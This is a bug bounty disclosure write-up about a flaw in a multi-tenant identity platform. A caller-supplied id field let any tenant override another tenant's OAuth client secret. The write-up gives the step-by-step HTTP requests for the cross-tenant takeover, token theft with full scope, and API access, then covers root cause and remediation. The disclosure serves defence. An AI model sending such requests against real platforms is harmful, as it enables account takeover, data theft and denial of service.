How We Overrode OAuth Credentials on a Multi-Tenant Identity Provider
OAuth 2.0 is the backbone of modern authentication. When an identity provider gets it wrong, the blast radius can be enormous. In this write-up, we detail a vulnerability we discovered in a major multi-tenant identity governance platform during a bug bounty engagement, where a flaw in the API client management system allowed us to override the OAuth credentials of any service provider on the platform — enabling both authentication bypass and denial of service across tenants.
For confidentiality, the target company's name and identifying URLs have been redacted throughout this post.
Target Overview
The target was a cloud-based identity governance and administration (IGA) platform that provides identity-as-a-service to enterprises. The platform operates on a multi-tenant architecture where each organization is provisioned with a dedicated tenant instance (<tenant>.[redacted].com).
A core feature of the platform is its API Management Panel, where tenant administrators can create OAuth 2.0 API clients. Each API client generates a client_id and client_secret pair, which service providers use to obtain access tokens via the standard OAuth client_credentials grant flow.
The typical flow looks like this:
- A tenant admin navigates to the API Management Panel and creates a new API client
- The platform generates a random
client_idandclient_secret - The service provider uses these credentials to request access tokens via
POST /oauth/token - The access token is used to authenticate API requests

Discovering the Flaw
While analyzing the API client creation flow, we intercepted the POST /beta/oauth-clients request that creates new API clients. The request body contained the standard fields — description, grant types, redirect URIs, and token validity settings.
What caught our attention was a subtle observation: the API did not reject an id parameter in the request body. Under normal operation, the platform generates the client_id server-side. But when we injected an id field into the creation request with a value matching an existing client ID, the platform accepted it without any validation.
This meant the server was not treating the client_id as an immutable, system-generated identifier. Instead, it allowed the caller to specify (and override) the ID of an existing API client.
The Exploit Chain
Step 1 — Victim Creates an API Client
The victim (a legitimate tenant admin) creates an API client through the standard flow. The server generates a unique client_id and client_secret:
POST /beta/oauth-clients HTTP/2
Host: <tenant>.api.[redacted].com
Authorization: Bearer <victim_token>
Content-Type: application/json
{
"accessTokenValiditySeconds": 750,
"accessType": "OFFLINE",
"grantTypes": ["AUTHORIZATION_CODE", "CLIENT_CREDENTIALS"],
"redirectUris": ["https://app.example.com/callback"],
"description": "Production API Client",
"name": "prod-client"
}
The response returns the generated credentials:
{
"id": "0f5cb8a1-c60b-450d-b2ed-1f75fb3ab48d",
"secret": "c04d...............9c4696abc",
"grantTypes": ["AUTHORIZATION_CODE", "CLIENT_CREDENTIALS"],
"scope": ["sp:scopes:all"],
...
}
The client_secret is shown only once — the victim copies it and the dialog closes.
Step 2 — Attacker Overrides the Victim's Credentials
The attacker — who is an admin on a different tenant — sends the same API client creation request, but injects the victim's client_id in the id field:
POST /beta/oauth-clients HTTP/2
Host: <attacker-tenant>.api.[redacted].com
Authorization: Bearer <attacker_token>
Content-Type: application/json
{
"accessTokenValiditySeconds": 750,
"accessType": "OFFLINE",
"grantTypes": ["AUTHORIZATION_CODE", "CLIENT_CREDENTIALS"],
"redirectUris": ["https://attacker.com"],
"id": "0f5cb8a1-c60b-450d-b2ed-1f75fb3ab48d",
"description": "test",
"name": "test"
}
The server accepts this request and generates a new client_secret for the victim's client_id:
{
"id": "0f5cb8a1-c60b-450d-b2ed-1f75fb3ab48d",
"secret": "NEW_SECRET_VALUE_CONTROLLED_BY_ATTACKER",
"grantTypes": ["AUTHORIZATION_CODE", "CLIENT_CREDENTIALS"],
"scope": ["sp:scopes:all"],
...
}
At this point:
- The victim's original
client_secretis invalidated - The attacker now holds the only valid
client_secretfor the victim'sclient_id
Step 3 — Attacker Generates an Access Token
Using the overridden credentials, the attacker authenticates as the victim:
POST /oauth/token HTTP/2
Host: <tenant>.login.[redacted].com
Content-Type: application/x-www-form-urlencoded
client_id=0f5cb8a1-c60b-450d-b2ed-1f75fb3ab48d&client_secret=NEW_SECRET_VALUE_CONTROLLED_BY_ATTACKER&grant_type=client_credentials
The server returns a valid access token:
{
"access_token": "eyJhbGciOiJ...QQ-u7NceHlw6fv20",
"token_type": "bearer",
"expires_in": 749,
"scope": "sp:scopes:all sp:scopes:default"
}
Step 4 — Full API Access
With the stolen access token, the attacker can now make authenticated API calls on behalf of the victim's tenant — accessing user records, account activities, identity data, and any other resources protected by the API:
GET /v3/account-activities HTTP/2
Host: <tenant>.api.[redacted].com
Authorization: Bearer eyJhbGciOiJ...QQ-u7NceHlw6fv20
Why This Is Particularly Dangerous
Authentication Bypass
The attacker gains full API access with sp:scopes:all — the broadest permission scope available. This includes access to PII, user account data, identity governance workflows, and administrative operations.
Denial of Service
When the attacker overrides the client_secret, the victim's original secret is permanently invalidated. The victim cannot generate a new token, and any application relying on the original credentials will stop authenticating. This effectively DoS'es the victim's entire integration with the platform.
Cross-Tenant Impact
The most critical aspect is that client_id values are public. Any web application using the platform's OAuth flow exposes the client_id in the authorization request:
GET /oauth/authorize?response_type=code&client_id={exposed_client_id}&redirect_uri=...
Per the OAuth 2.0 specification, "the client_id is a public identifier for apps." This means an attacker can:
- Create their own free tenant on the platform (available to anyone)
- Observe any target tenant's
client_idfrom the public OAuth authorization request - Override the target's
client_secretfrom their own tenant - Authenticate as the target and access their data
This requires no prior access to the victim's tenant — only the ability to create a free account on the platform.
Root Cause
The vulnerability stemmed from two compounding issues:
- Missing input validation on the
idfield. The API client creation endpoint (POST /beta/oauth-clients) accepted a user-suppliedidparameter without validating whether the ID already existed. Instead of rejecting the request or ignoring the field, the server treated it as a legitimate client identifier and overwrote the existing record. - No tenant-level isolation for
client_idnamespace. Theclient_ididentifier space was global across all tenants. Aclient_idcreated on Tenant A could be referenced (and overridden) by Tenant B. There was no scoping or ownership check to prevent cross-tenant credential manipulation.
Remediation Recommendations
- Ignore user-supplied
idvalues. Theclient_idshould be exclusively server-generated. Anyidfield in the creation request body should be stripped or rejected with an error. - Enforce tenant-scoped
client_idnamespaces. Even if aclient_idis globally unique, write operations on it must be restricted to the owning tenant. Cross-tenant references should return a403 Forbidden. - Implement idempotency checks. If a
POSTrequest attempts to create a resource with an ID that already exists, the server should return a409 Conflictrather than silently overwriting the existing resource. - Treat
client_secretrotation as a privileged operation. Regenerating aclient_secretshould require explicit authorization from the owning tenant's admin and should trigger an audit log entry and notification.